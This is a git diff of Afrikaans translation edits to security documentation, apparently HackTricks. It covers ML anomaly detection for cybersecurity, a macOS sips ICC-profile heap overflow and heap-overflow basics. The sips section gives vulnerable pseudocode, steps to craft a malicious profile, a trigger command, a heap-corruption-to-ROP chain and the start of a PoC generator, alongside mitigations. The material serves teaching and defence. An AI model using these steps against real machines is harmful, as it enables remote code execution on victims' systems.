Aan die negatiewe kant vereis GMM die spesifisering van die aantal komponente K (alhoewel 'n mens kriteria soos BIC/AIC kan gebruik om dit te kies). EM kan soms stadig konvergeer of na 'n plaaslike optimum, so inisialisering is belangrik (dikwels EM verskeie kere gedoen). As die data nie werklik 'n mengsel van Gaussians volg nie, kan die model 'n swak pas wees. Daar is ook 'n risiko dat een Gaussian krimp om net 'n uitskieter te dek (alhoewel regularisering of minimum kovariansie grense dit kan verminder).
|
||||
Aan die ander kant vereis GMM die spesifisering van die aantal komponente K (alhoewel 'n mens kriteria soos BIC/AIC kan gebruik om dit te kies). EM kan soms stadig konvergeer of na 'n plaaslike optimum, so inisialisering is belangrik (dikwels EM verskeie kere gedoen). As die data nie werklik 'n mengsel van Gaussians volg nie, kan die model 'n swak pas wees. Daar is ook 'n risiko dat een Gaussian krimp om net 'n uitskieter te dek (alhoewel regularisering of minimum kovariansie grense dit kan verminder).
|
||||
|
||||
<details>
|
||||
<summary>Voorbeeld -- Sagte Klustering & Anomalie Punte
|
||||
@ -289,16 +289,16 @@ In hierdie kode, oefen ons 'n GMM met 3 Gaussians op die normale verkeer (aannem
|
||||
|
||||
**Isolation Forest** is 'n ensemble anomaliedetektering algoritme gebaseer op die idee om punte ewekansig te isoleer. Die beginsel is dat anomalieë min en anders is, so hulle is makliker om te isoleer as normale punte. 'n Isolation Forest bou baie binêre isolasie-bome (ewekansige besluitbome) wat die data ewekansig partitioneer. By elke knoop in 'n boom, word 'n ewekansige kenmerk gekies en 'n ewekansige splitsingswaarde tussen die minimum en maksimum van daardie kenmerk vir die data in daardie knoop gekies. Hierdie splitsing verdeel die data in twee takke. Die boom word gegroei totdat elke punt in sy eie bladsy geisoleer is of 'n maksimum boomhoogte bereik is.
|
||||
|
||||
Anomaliedetektering word uitgevoer deur die padlengte van elke punt in hierdie ewekansige bome te observeer – die aantal splitsings wat benodig word om die punt te isoleer. Intuïtief, anomalieë (uitvallers) geneig om vinniger geisoleer te word omdat 'n ewekansige splitsing meer waarskynlik is om 'n uitvaller (wat in 'n spars gebied lê) te skei as wat dit 'n normale punt in 'n digte kluster sou doen. Die Isolation Forest bereken 'n anomalie telling vanaf die gemiddelde padlengte oor alle bome: korter gemiddelde pad → meer anomalies. Tellings word gewoonlik genormaliseer tot [0,1] waar 1 baie waarskynlik anomalie beteken.
|
||||
Anomaliedetektering word uitgevoer deur die padlengte van elke punt in hierdie ewekansige bome te observeer – die aantal splitsings wat benodig word om die punt te isoleer. Intuïtief, anomalieë (uitvallers) neig om vinniger geisoleer te word omdat 'n ewekansige splitsing meer waarskynlik is om 'n uitvaller (wat in 'n spars gebied lê) te skei as wat dit 'n normale punt in 'n digte kluster sou doen. Die Isolation Forest bereken 'n anomalie telling vanaf die gemiddelde padlengte oor alle bome: korter gemiddelde pad → meer anomalies. Tellings word gewoonlik genormaliseer na [0,1] waar 1 baie waarskynlik anomalie beteken.
|
||||
|
||||
> [!TIP]
|
||||
> *Gebruik gevalle in kuberveiligheid:* Isolation Forests is suksesvol gebruik in indringingdetectie en bedrogdetectie. Byvoorbeeld, oefen 'n Isolation Forest op netwerkverkeer logs wat meestal normale gedrag bevat; die woud sal kort paaie vir vreemde verkeer produseer (soos 'n IP wat 'n onbekende poort gebruik of 'n ongewone pakketgrootte patroon), wat dit vir inspeksie merk. Omdat dit nie gelabelde aanvalle vereis nie, is dit geskik om onbekende aanvalstipes te detecteer. Dit kan ook op gebruikersaanmeldingsdata ontplooi word om rekeningneem te detecteer (die anomaliese aanmeldtye of plekke word vinnig geisoleer). In een gebruiksgeval kan 'n Isolation Forest 'n onderneming beskerm deur stelselsmetrieke te monitor en 'n waarskuwing te genereer wanneer 'n kombinasie van metrieke (CPU, netwerk, lêer veranderinge) baie anders lyk (kort isolasiepaaie) van historiese patrone.
|
||||
> *Gebruik gevalle in kuberveiligheid:* Isolation Forests is suksesvol gebruik in indringingsdetectie en bedrogdetectie. Byvoorbeeld, oefen 'n Isolation Forest op netwerkverkeer logs wat meestal normale gedrag bevat; die woud sal kort paaie vir vreemde verkeer produseer (soos 'n IP wat 'n onbekende poort gebruik of 'n ongewone pakketgrootte patroon), wat dit vir inspeksie merk. Omdat dit nie gelabelde aanvalle vereis nie, is dit geskik om onbekende aanvalstipes te detecteer. Dit kan ook op gebruikersaanmeldingsdata ontplooi word om rekeningneem te detecteer (die anomaliese aanmeldtye of plekke word vinnig geisoleer). In een gebruiksgeval kan 'n Isolation Forest 'n onderneming beskerm deur stelselsmetrieke te monitor en 'n waarskuwing te genereer wanneer 'n kombinasie van metrieke (CPU, netwerk, lêer veranderinge) baie anders lyk (korte isolasiepaaie) van historiese patrone.
|
||||
|
||||
#### Aannames en Beperkings
|
||||
|
||||
**Voordele**: Isolation Forest vereis nie 'n verspreidingsaannames nie; dit teiken direk isolasie. Dit is doeltreffend op hoë-dimensionele data en groot datastelle (lineêre kompleksiteit $O(n\log n)$ vir die bou van die woud) aangesien elke boom punte met slegs 'n subset van kenmerke en splitsings isoleer. Dit hanteer numeriese kenmerke goed en kan vinniger wees as afstand-gebaseerde metodes wat $O(n^2)$ kan wees. Dit gee ook outomaties 'n anomalie telling, sodat jy 'n drempel vir waarskuwings kan stel (of 'n kontaminasieparameter kan gebruik om outomaties 'n snypunt te besluit gebaseer op 'n verwagte anomaliefraksie).
|
||||
|
||||
**Beperkings**: Vanweë sy ewekansige aard, kan resultate effens verskil tussen lopies (alhoewel dit met voldoende bome gering is). As die data baie irrelevante kenmerke het of as anomalieë nie sterk in enige kenmerk onderskei nie, mag die isolasie nie effektief wees nie (ewkansige splitsings kan normale punte per toeval isoleer – egter, die gemiddelde van baie bome verlig hierdie probleem). Ook, Isolation Forest neem oor die algemeen aan dat anomalieë 'n klein minderheid is (wat gewoonlik waar is in kuberveiligheid scenario's).
|
||||
**Beperkings**: Vanweë sy ewekansige aard, kan resultate effens verskil tussen lopies (alhoewel dit met voldoende bome gering is). As die data baie irrelevante kenmerke het of as anomalieë nie sterk in enige kenmerk verskil nie, mag die isolasie nie effektief wees nie (ewkansige splitsings kan normale punte per toeval isoleer – egter, die gemiddelde van baie bome verlig hierdie probleem). Ook, Isolation Forest neem oor die algemeen aan dat anomalieë 'n klein minderheid is (wat gewoonlik waar is in kuberveiligheid scenario's).
|
||||
|
||||
<details>
|
||||
<summary>Voorbeeld -- Detectie van Uitvallers in Netwerk Logs
|
||||
@ -322,7 +322,7 @@ print("Example anomaly scores (lower means more anomalous):", anomaly_scores[:5]
|
||||
```
|
||||
In hierdie kode, instantiate ons `IsolationForest` met 100 bome en stel `contamination=0.15` (wat beteken ons verwag ongeveer 15% anomalieë; die model sal sy tellingdrempel stel sodat ~15% van die punte geflag word). Ons pas dit toe op `X_test_if` wat 'n mengsel van normale en aanvalspunte bevat (let wel: normaalweg sou jy op opleidingsdata pas en dan voorspel op nuwe data, maar hier ter illustrasie pas ons toe en voorspel op dieselfde stel om die resultate direk waar te neem).
|
||||
|
||||
Die uitvoer toon die voorspelde etikette vir die eerste 20 punte (waar -1 anomalie aandui). Ons druk ook uit hoeveel anomalieë in totaal opgespoor is en 'n paar voorbeeld anomalie tellinge. Ons sou verwag dat ongeveer 18 uit 120 punte geëtiketteer word as -1 (aangesien kontaminasie 15% was). As ons 20 aanval monsters werklik die mees uitspringende is, behoort die meeste daarvan in daardie -1 voorspellings te verskyn. Die anomalie telling (Isolation Forest se besluit funksie) is hoër vir normale punte en laer (meer negatief) vir anomalieë – ons druk 'n paar waardes uit om die skeiding te sien. In praktyk kan 'n mens die data volgens telling sorteer om die top uitspringendes te sien en hulle te ondersoek. Isolation Forest bied dus 'n doeltreffende manier om deur groot ongetekende sekuriteitsdata te sift en die mees onreëlmatige voorbeelde vir menslike analise of verdere geoutomatiseerde ondersoek uit te kies.
|
||||
Die uitvoer toon die voorspelde etikette vir die eerste 20 punte (waar -1 anomalie aandui). Ons druk ook uit hoeveel anomalieë in totaal opgespoor is en 'n paar voorbeeld anomalie tellinge. Ons sou verwag dat ongeveer 18 uit 120 punte as -1 geëtiketteer word (aangesien kontaminasie 15% was). As ons 20 aanval monsters werklik die mees uitspringende is, behoort die meeste van hulle in daardie -1 voorspellings te verskyn. Die anomalie telling (Isolation Forest se besluit funksie) is hoër vir normale punte en laer (meer negatief) vir anomalieë – ons druk 'n paar waardes uit om die skeiding te sien. In praktyk kan 'n mens die data volgens telling sorteer om die top uitspringendes te sien en hulle te ondersoek. Isolation Forest bied dus 'n doeltreffende manier om deur groot ongetekende sekuriteitsdata te sift en die mees onreëlmatige voorbeelde vir menslike analise of verdere geoutomatiseerde ondersoek uit te kies.
|
||||
|
||||
### t-SNE (t-Gedistribueerde Stogastiese Buren Inbed)
|
||||
|
||||
@ -331,19 +331,19 @@ Die uitvoer toon die voorspelde etikette vir die eerste 20 punte (waar -1 anomal
|
||||
Die algoritme het twee hoof fases:
|
||||
|
||||
1. **Bereken paargewys affiniteit in hoë-dimensionele ruimte:** Vir elke paar punte, bereken t-SNE 'n waarskynlikheid dat 'n mens daardie paar as bure sou kies (dit word gedoen deur 'n Gaussiese verdeling op elke punt te sentreer en afstande te meet – die perplexity parameter beïnvloed die effektiewe aantal bure wat oorweeg word).
|
||||
2. **Bereken paargewys affiniteit in lae-dimensionele (bv. 2D) ruimte:** Aanvanklik word punte ewekansig in 2D geplaas. t-SNE definieer 'n soortgelyke waarskynlikheid vir afstande in hierdie kaart (met 'n Student t-verdeling kern, wat swaarder sterte as Gaussies het om verre punte meer vryheid te gee).
|
||||
2. **Bereken paargewys affiniteit in laer-dimensionele (bv. 2D) ruimte:** Aanvanklik word punte ewekansig in 2D geplaas. t-SNE definieer 'n soortgelyke waarskynlikheid vir afstande in hierdie kaart (met 'n Student t-verdeling kern, wat swaarder sterte as Gaussies het om verre punte meer vryheid te gee).
|
||||
3. **Gradiënt Afdaling:** t-SNE beweeg dan iteratief die punte in 2D om die Kullback–Leibler (KL) divergensie tussen die hoë-D affiniteit verdeling en die lae-D een te minimaliseer. Dit veroorsaak dat die 2D rangskikking die hoë-D struktuur soveel as moontlik weerspieël – punte wat naby was in die oorspronklike ruimte sal mekaar aantrek, en diegene wat ver van mekaar is sal afstoot, totdat 'n balans gevind word.
|
||||
|
||||
Die resultaat is dikwels 'n visueel betekenisvolle verspreidingsgrafiek waar klusters in die data duidelik word.
|
||||
|
||||
> [!TIP]
|
||||
> *Gebruik gevalle in kuberveiligheid:* t-SNE word dikwels gebruik om **hoë-dimensionele sekuriteitsdata vir menslike analise te visualiseer**. Byvoorbeeld, in 'n sekuriteitsbedrywigheidsentrum kan analiste 'n gebeurtenisdatastel met dosyne kenmerke (poortnommers, frekwensies, byte tellings, ens.) neem en t-SNE gebruik om 'n 2D-grafiek te produseer. Aanvalle kan hul eie klusters vorm of van normale data in hierdie grafiek skei, wat dit makliker maak om te identifiseer. Dit is toegepas op malware datastelle om groepe van malware families te sien of op netwerk indringing data waar verskillende aanval tipe duidelik groepeer, wat verdere ondersoek lei. Essensieel bied t-SNE 'n manier om struktuur in kuberdata te sien wat andersins onduidelik sou wees.
|
||||
> *Gebruik gevalle in kuberveiligheid:* t-SNE word dikwels gebruik om **hoë-dimensionele sekuriteitsdata vir menslike analise te visualiseer**. Byvoorbeeld, in 'n sekuriteitsbedrywigheidsentrum kan analiste 'n gebeurtenisdatastel met dosyne kenmerke (poortnommers, frekwensies, byte tellings, ens.) neem en t-SNE gebruik om 'n 2D-grafiek te produseer. Aanvalle kan hul eie klusters vorm of van normale data in hierdie grafiek skei, wat dit makliker maak om te identifiseer. Dit is toegepas op malware-datastelle om groepe van malware-families te sien of op netwerkindringingsdata waar verskillende aanvalstipes duidelik groepeer, wat verdere ondersoek lei. Essensieel bied t-SNE 'n manier om struktuur in kuberdata te sien wat andersins onbegriblik sou wees.
|
||||
|
||||
#### Aannames en Beperkings
|
||||
|
||||
t-SNE is uitstekend vir visuele ontdekking van patrone. Dit kan klusters, subklusters, en uitspringendes onthul wat ander lineêre metodes (soos PCA) dalk nie kan nie. Dit is gebruik in kuberveiligheid navorsing om komplekse data soos malware gedrag profiele of netwerkverkeer patrone te visualiseer. Omdat dit plaaslike struktuur behou, is dit goed om natuurlike groepe te toon.
|
||||
t-SNE is uitstekend vir visuele ontdekking van patrone. Dit kan klusters, subklusters en uitspringendes onthul wat ander lineêre metodes (soos PCA) dalk nie kan nie. Dit is gebruik in kuberveiligheid navorsing om komplekse data soos malware gedrag profiele of netwerkverkeer patrone te visualiseer. Omdat dit plaaslike struktuur behou, is dit goed om natuurlike groepe te toon.
|
||||
|
||||
Egter, t-SNE is rekenaarintensief (ongeveer $O(n^2)$) so dit mag steekproefneming vereis vir baie groot datastelle. Dit het ook hiperparameters (perplexity, leer tempo, iterasies) wat die uitvoer kan beïnvloed – bv., verskillende perplexity waardes kan klusters op verskillende skale onthul. t-SNE grafieke kan soms verkeerd geïnterpreteer word – afstande in die kaart is nie direk betekenisvol globaal nie (dit fokus op plaaslike buurtes, soms kan klusters kunsmatig goed geskei voorkom). Ook, t-SNE is hoofsaaklik vir visualisering; dit bied nie 'n regstreekse manier om nuwe datapunte te projekteer sonder om weer te bereken nie, en dit is nie bedoel om as 'n voorverwerking vir voorspellende modellering gebruik te word nie (UMAP is 'n alternatief wat sommige van hierdie probleme met vinniger spoed aanspreek).
|
||||
Echter, t-SNE is rekenaarintensief (ongeveer $O(n^2)$) so dit mag vereis dat daar monsters geneem word vir baie groot datastelle. Dit het ook hiperparameters (perplexity, leer tempo, herhalings) wat die uitvoer kan beïnvloed – bv., verskillende perplexity waardes kan klusters op verskillende skale onthul. t-SNE grafieke kan soms verkeerd geïnterpreteer word – afstande in die kaart is nie direk betekenisvol globaal nie (dit fokus op plaaslike buurtes, soms kan klusters kunsmatig goed geskei voorkom). Ook, t-SNE is hoofsaaklik vir visualisering; dit bied nie 'n regstreekse manier om nuwe datapunte te projekteer sonder om weer te bereken nie, en dit is nie bedoel om as 'n voorverwerking vir voorspellende modellering gebruik te word nie (UMAP is 'n alternatief wat sommige van hierdie probleme met vinniger spoed aanspreek).
|
||||
|
||||
<details>
|
||||
<summary>Voorbeeld -- Visualisering van Netwerkverbindinge
|
||||
@ -432,12 +432,12 @@ plt.legend()
|
||||
plt.tight_layout()
|
||||
plt.show()
|
||||
```
|
||||
Hier het ons ons vorige 4D normale dataset gekombineer met 'n handvol ekstreme uitskieters (die uitskieters het een kenmerk (“duur”) baie hoog gestel, ens., om 'n vreemde patroon te simuleer). Ons voer t-SNE uit met 'n tipiese perplexity van 30. Die uitvoer data_2d het 'n vorm van (1505, 2). Ons sal eintlik nie in hierdie teks plot nie, maar as ons dit sou doen, sou ons verwag om dalk drie stywe klusters te sien wat ooreenstem met die 3 normale klusters, en die 5 uitskieters wat as geïsoleerde punte ver van daardie klusters verskyn. In 'n interaktiewe werksvloei, kan ons die punte kleur volgens hul etiket (normaal of watter kluster, teenoor anomalie) om hierdie struktuur te verifieer. Selfs sonder etikette, kan 'n ontleder daardie 5 punte in leë ruimte op die 2D plot opgemerk en dit merk. Dit toon hoe t-SNE 'n kragtige hulp kan wees vir visuele anomaliedetectie en klusterinspeksie in kuberveiligheidsdata, wat die geoutomatiseerde algoritmes hierbo aanvul.
|
||||
Hier het ons ons vorige 4D normale dataset gekombineer met 'n handvol ekstreme uitskieters (die uitskieters het een kenmerk (“duur”) baie hoog gestel, ens., om 'n vreemde patroon na te boots). Ons voer t-SNE uit met 'n tipiese perplexity van 30. Die uitvoer data_2d het 'n vorm van (1505, 2). Ons sal eintlik nie in hierdie teks plot nie, maar as ons dit sou doen, sou ons verwag om dalk drie stywe klusters te sien wat ooreenstem met die 3 normale klusters, en die 5 uitskieters wat as geïsoleerde punte ver van daardie klusters verskyn. In 'n interaktiewe werksvloei, kan ons die punte kleur volgens hul etiket (normaal of watter kluster, teenoor anomalie) om hierdie struktuur te verifieer. Selfs sonder etikette, mag 'n ontleder daardie 5 punte in leë ruimte op die 2D plot opgemerk het en dit merk. Dit toon hoe t-SNE 'n kragtige hulp kan wees vir visuele anomaliedetectie en klusterinspeksie in kuberveiligheidsdata, wat die geoutomatiseerde algoritmes hierbo aanvul.
|
||||
|
||||
</details>
|
||||
|
||||
|
||||
### HDBSCAN (Hierargiese Digtheid-gebaseerde Ruimtelike Groepering van Toepassings met Rumoer)
|
||||
### HDBSCAN (Hierargiese Digtheid-gebaseerde Ruimtelike Groepering van Toepassings met Ruis)
|
||||
|
||||
**HDBSCAN** is 'n uitbreiding van DBSCAN wat die behoefte verwyder om 'n enkele globale `eps` waarde te kies en is in staat om klusters van **verskillende digtheid** te herstel deur 'n hiërargie van digtheid-verbonden komponente te bou en dit dan saam te pers. In vergelyking met gewone DBSCAN, dit gewoonlik
|
||||
|
||||
@ -446,7 +446,7 @@ Hier het ons ons vorige 4D normale dataset gekombineer met 'n handvol ekstreme u
|
||||
* gee elke punt 'n kluster-lidmaatskap *waarskynlikheid* en 'n **uitskieter telling** (`outlier_scores_`), wat uiters handig is vir bedreigingsjag dashboards.
|
||||
|
||||
> [!TIP]
|
||||
> *Gebruik gevalle in kuberveiligheid:* HDBSCAN is baie gewild in moderne bedreigingsjag pyplyne – jy sal dit dikwels binne notaboek-gebaseerde jag speelboeke sien wat saam met kommersiële XDR suites gestuur word. Een praktiese resep is om HTTP beaconing verkeer te groepeer tydens IR: gebruiker-agent, interval en URI-lengte vorm dikwels verskeie stywe groepe van legitieme sagteware-opdaterings terwyl C2 beacons as klein lae-digtheid klusters of as suiwer rumoer bly.
|
||||
> *Gebruik gevalle in kuberveiligheid:* HDBSCAN is baie gewild in moderne bedreigingsjag pyplyne – jy sal dit dikwels binne notaboek-gebaseerde jag speelboeke sien wat saam met kommersiële XDR suites gestuur word. Een praktiese resep is om HTTP beaconing verkeer te groepeer tydens IR: gebruiker-agent, interval en URI-lengte vorm dikwels verskeie stywe groepe van legitieme sagteware-opdaterings terwyl C2 beacons as klein lae-digtheid klusters of as suiwer ruis bly.
|
||||
|
||||
<details>
|
||||
<summary>Voorbeeld – Vind beaconing C2 kanale</summary>
|
||||
@ -483,19 +483,19 @@ Onlangs werk het getoon dat **onbegeleide leerders *nie* immuun is teen aktiewe
|
||||
|
||||
* **Data-vergiftiging teen anomaliedetektore.** Chen *et al.* (IEEE S&P 2024) het aangetoon dat die toevoeging van slegs 3 % vervaardigde verkeer die besluitgrens van Isolation Forest en ECOD kan verskuif sodat werklike aanvalle normaal lyk. Die outeurs het 'n oopbron PoC (`udo-poison`) vrygestel wat outomaties vergiftigingspunte sintetiseer.
|
||||
* **Achterdeur in clusteringmodelle.** Die *BadCME* tegniek (BlackHat EU 2023) implanteer 'n klein triggerpatroon; wanneer daardie trigger verskyn, plaas 'n K-Means-gebaseerde detektor stilweg die gebeurtenis binne 'n “goedaardige” kluster.
|
||||
* **Ontvlugting van DBSCAN/HDBSCAN.** 'n 2025 akademiese voorafdruk van KU Leuven het getoon dat 'n aanvaller seinpatrone kan vervaardig wat doelbewus in digtheidsgate val, wat effektief binne *ruis* etikette wegkruip.
|
||||
* **Ontvlugting van DBSCAN/HDBSCAN.** 'n 2025 akademiese pre-print van KU Leuven het getoon dat 'n aanvaller seinpatrone kan vervaardig wat doelbewus in digtheidsgate val, wat effektief binne *ruis* etikette wegkruip.
|
||||
|
||||
Mitigasies wat gewild raak:
|
||||
|
||||
1. **Model sanitisering / TRIM.** Voor elke heropleidingsepoch, verwerp die 1–2 % hoogste-verlies punte (getrimde maksimum waarskynlikheid) om vergiftiging dramaties moeiliker te maak.
|
||||
2. **Konsensus ensambling.** Kombineer verskeie heterogene detektore (bv., Isolation Forest + GMM + ECOD) en verhoog 'n waarskuwing as *enige* model 'n punt merk. Navorsing dui aan dat dit die aanvaller se koste met >10× verhoog.
|
||||
2. **Konsensus ensambling.** Kombineer verskeie heterogene detektore (bv. Isolation Forest + GMM + ECOD) en verhoog 'n waarskuwing as *enige* model 'n punt merk. Navorsing dui aan dat dit die aanvaller se koste met >10× verhoog.
|
||||
3. **Afstand-gebaseerde verdediging vir clustering.** Herbereken klusters met `k` verskillende ewekansige sade en ignoreer punte wat konstant klusters spring.
|
||||
|
||||
---
|
||||
|
||||
### Moderne Oopbron Gereedskap (2024-2025)
|
||||
|
||||
* **PyOD 2.x** (vrygestel Mei 2024) het *ECOD*, *COPOD* en GPU-versnelde *AutoFormer* detektore bygevoeg. Dit verskaf nou 'n `benchmark` sub-opdrag wat jou toelaat om 30+ algoritmes op jou dataset te vergelyk met **een lyn kode**:
|
||||
* **PyOD 2.x** (vrygestel Mei 2024) het *ECOD*, *COPOD* en GPU-versnelde *AutoFormer* detektore bygevoeg. Dit verskaf nou 'n `benchmark` sub-opdrag wat jou toelaat om 30+ algoritmes op jou datastel te vergelyk met **een reël kode**:
|
||||
```bash
|
||||
pyod benchmark --input logs.csv --label attack --n_jobs 8
|
||||
```
|
||||
|
@ -8,7 +8,7 @@
|
||||
|
||||
> Apple het die fout reggestel in macOS Sonoma 15.2 / Ventura 14.7.1 (30 Oktober 2024). 'n Tweede variasie (CVE-2025-24185) is reggestel in macOS 15.5 en iOS/iPadOS 18.5 op 1 April 2025.
|
||||
|
||||
## Kwetsbare Kode
|
||||
## Kwesbare Kode
|
||||
```c
|
||||
// Pseudocode extracted from sub_1000194D0 in sips-307 (macOS 15.0.1)
|
||||
if (offsetToCLUT <= tagDataSize) {
|
||||
@ -21,9 +21,9 @@ buffer[i] = 0; // no bounds check vs allocated size!
|
||||
|
||||
1. **Skep 'n kwaadwillige `.icc` profiel**
|
||||
|
||||
* Stel 'n minimale ICC-kop (`acsp`) op en voeg een `mAB ` (of `mBA `) etiket by.
|
||||
* Stel 'n minimale ICC kop (`acsp`) op en voeg een `mAB ` (of `mBA `) etiket by.
|
||||
* Konfigureer die etiket tabel sodat die **`offsetToCLUT` gelyk is aan die etiketgrootte** (`tagDataSize`).
|
||||
* Plaas aanvaller-beheerde data reg na die etiket sodat die 16 nul-skrywings oorvleuel met die allokator metadata.
|
||||
* Plaas aanvaller-beheerde data reg na die etiket sodat die 16 nul skrywe oorvleuel met die allokator metadata.
|
||||
|
||||
2. **Trigger parsing met enige sips operasie wat die profiel raak**
|
||||
|
||||
@ -35,9 +35,9 @@ sips -s format png payload.jpg --out out.png
|
||||
```
|
||||
|
||||
3. **Heap metadata korrupsie ➜ arbitrêre skrywe ➜ ROP**
|
||||
Op Apple se standaard **`nano_zone` allokator**, metadata vir 16-byte slots leef **onmiddellik na** die gelykgestelde 0x1000 slab. Deur die profiel se etiket aan die einde van so 'n slab te plaas, verwoes die 16 nul-skrywings `meta->slot_B`. Na 'n daaropvolgende `free`, word die vergiftigde wysiger in die klein vrye lys geplaas, wat die aanvaller toelaat om **'n vals objek op 'n arbitrêre adres te allokeer** en 'n C++ vtable wysiger wat deur sips gebruik word, te oorskryf, en uiteindelik die uitvoering na 'n ROP-ketting wat in die kwaadwillige ICC-buffer gestoor is, te draai.
|
||||
Op Apple se standaard **`nano_zone` allokator**, metadata vir 16-byte slots leef **onmiddellik na** die gelykgestelde 0x1000 slab. Deur die profiel se etiket aan die einde van so 'n slab te plaas, klap die 16 nul-skrywe `meta->slot_B`. Na 'n daaropvolgende `free`, word die vergiftigde pointeur in die klein vrye lys geplaas, wat die aanvaller toelaat om **'n vals objek op 'n arbitrêre adres te allokeer** en 'n C++ vtable pointeur wat deur sips gebruik word, te oorskryf, en uiteindelik die uitvoering na 'n ROP-ketting wat in die kwaadwillige ICC-buffer gestoor is, te draai.
|
||||
|
||||
### Vinning PoC generator (Python 3)
|
||||
### Vinige PoC generator (Python 3)
|
||||
```python
|
||||
#!/usr/bin/env python3
|
||||
import struct, sys
|
||||
@ -84,7 +84,7 @@ Die opening of verwerking van 'n vervaardigde ICC-profiel lei tot afstand **arbi
|
||||
* **Patches!** Verseker dat die gasheer macOS ≥ 15.2 / 14.7.1 (of iOS/iPadOS ≥ 18.1) draai.
|
||||
* Ontplooi die YARA-reël hierbo op e-posgate en EDR-oplossings.
|
||||
* Verwyder of saniteer ingebedde ICC-profiele met `exiftool -icc_profile= -overwrite_original <file>` voordat verdere verwerking op onbetroubare lêers plaasvind.
|
||||
* Versterk Preview/QuickLook deur dit binne gesandboksde “deursigtigheid & modernisering” VM's te laat loop wanneer onbekende inhoud geanaliseer word.
|
||||
* Versterk Preview/QuickLook deur hulle binne gesandboksde “deursigtigheid & modernisering” VM's te laat loop wanneer onbekende inhoud geanaliseer word.
|
||||
* Vir DFIR, soek na onlangse uitvoering van `sips --verifyColor` of `ColorSync` biblioteeklaai deur gesandboksde toepassings in die verenigde log.
|
||||
|
||||
## Verwysings
|
||||
|
@ -2,7 +2,7 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Basic Information
|
||||
## Basiese Inligting
|
||||
|
||||
'n Heap overflow is soos 'n [**stack overflow**](../stack-overflow/index.html) maar in die heap. Basies beteken dit dat 'n sekere ruimte in die heap gereserveer is om data te stoor en **gestoorde data was groter as die gereserveerde ruimte.**
|
||||
|
||||
@ -13,11 +13,11 @@ In stack overflows weet ons dat sommige registers soos die instruksie-aanwyser o
|
||||
|
||||
### Stack Overflows vs Heap Overflows
|
||||
|
||||
In stack overflows is die rangskikking en data wat teenwoordig gaan wees in die stack op die oomblik dat die kwesbaarheid geaktiveer kan word, redelik betroubaar. Dit is omdat die stack lineêr is, altyd toeneem in botsende geheue, in **spesifieke plekke van die program se uitvoering stoor die stack geheue gewoonlik soortgelyke tipe data** en dit het 'n spesifieke struktuur met sommige aanwysers aan die einde van die stack deel wat deur elke funksie gebruik word.
|
||||
In stack overflows is die rangskikking en data wat teenwoordig gaan wees in die stack op die oomblik dat die kwesbaarheid geaktiveer kan word redelik betroubaar. Dit is omdat die stack lineêr is, altyd toeneem in botsende geheue, in **spesifieke plekke van die program se uitvoering stoor die stack geheue gewoonlik soortgelyke tipe data** en dit het 'n spesifieke struktuur met sommige aanwysers aan die einde van die stack deel wat deur elke funksie gebruik word.
|
||||
|
||||
In die geval van 'n heap overflow, is die gebruikte geheue egter nie lineêr nie, maar **toegewyde chunks is gewoonlik in geskeide posisies van geheue** (nie een langs die ander nie) as gevolg van **bins en sone** wat toewysings volgens grootte skei en omdat **vorige vrygemaakte geheue gebruik word** voordat nuwe chunks toegewy word. Dit is **komplikasies om die objek te weet wat gaan bots met die een wat kwesbaar is** vir 'n heap overflow. So, wanneer 'n heap overflow gevind word, is dit nodig om 'n **betroubare manier te vind om die gewenste objek volgende in geheue te maak** van die een wat oorgestroom kan word.
|
||||
|
||||
Een van die tegnieke wat hiervoor gebruik word, is **Heap Grooming** wat byvoorbeeld [**in hierdie pos**](https://azeria-labs.com/grooming-the-ios-kernel-heap/) gebruik word. In die pos word verduidelik hoe wanneer in die iOS-kern wanneer 'n sone uit geheue vir die stoor van chunks van geheue, dit dit uitbrei deur 'n kernbladsy, en hierdie bladsy word in chunks van die verwagte groottes gesplit, wat in volgorde gebruik sal word (tot iOS weergawe 9.2, dan word hierdie chunks op 'n randomiseerde manier gebruik om die uitbuiting van hierdie aanvalle te bemoeilik).
|
||||
Een van die tegnieke wat hiervoor gebruik word, is **Heap Grooming** wat byvoorbeeld [**in hierdie pos**](https://azeria-labs.com/grooming-the-ios-kernel-heap/) gebruik word. In die pos word verduidelik hoe wanneer in die iOS-kern wanneer 'n sone uit geheue vir die stoor van chunks van geheue loop, dit dit uitbrei met 'n kernbladsy, en hierdie bladsy word in chunks van die verwagte groottes gesplit, wat in volgorde gebruik sal word (tot iOS weergawe 9.2, dan word hierdie chunks op 'n randomiseerde manier gebruik om die uitbuiting van hierdie aanvalle te bemoeilik).
|
||||
|
||||
Daarom, in die vorige pos waar 'n heap overflow plaasvind, om die oorgestroomde objek te dwing om met 'n slagoffer volgorde te bots, word verskeie **`kallocs` deur verskeie drade gedwing om te probeer verseker dat al die vrye chunks gevul is en dat 'n nuwe bladsy geskep word**.
|
||||
|
||||
@ -25,17 +25,17 @@ Om hierdie vul met objek van 'n spesifieke grootte te dwing, is die **out-of-lin
|
||||
|
||||
Dan kan sommige van hierdie plekhouers **vrygestel** word. Die **`kalloc.4096` vrye lys stel elemente in 'n laaste-in-eerste-uit volgorde vry**, wat basies beteken dat as sommige plekhouers vrygestel word en die uitbuiting probeer om verskeie slagoffer objekte toe te wys terwyl dit probeer om die objek wat kwesbaar is vir overflow toe te wys, is dit waarskynlik dat hierdie objek gevolg sal word deur 'n slagoffer objek.
|
||||
|
||||
### Example libc
|
||||
### Voorbeeld libc
|
||||
|
||||
[**In hierdie bladsy**](https://guyinatuxedo.github.io/27-edit_free_chunk/heap_consolidation_explanation/index.html) is dit moontlik om 'n basiese Heap overflow emulering te vind wat wys hoe om die prev in gebruik bit van die volgende chunk te oorskryf en die posisie van die prev grootte, dit is moontlik om 'n **gebruikte chunk te konsolideer** (deur dit te laat dink dit is ongebruikte) en **dan dit weer toe te wys** terwyl dit in staat is om data wat in 'n ander aanwyser gebruik word, ook te oorskryf.
|
||||
[**Op hierdie bladsy**](https://guyinatuxedo.github.io/27-edit_free_chunk/heap_consolidation_explanation/index.html) is dit moontlik om 'n basiese Heap overflow emulering te vind wat wys hoe om die prev in gebruik bit van die volgende chunk te oorskryf en die posisie van die prev grootte, dit is moontlik om 'n **gebruikte chunk te konsolideer** (deur dit te laat dink dit is ongebruikte) en **dan dit weer toe te wys** terwyl dit in staat is om data wat in 'n ander aanwyser gebruik word, ook te oorskryf.
|
||||
|
||||
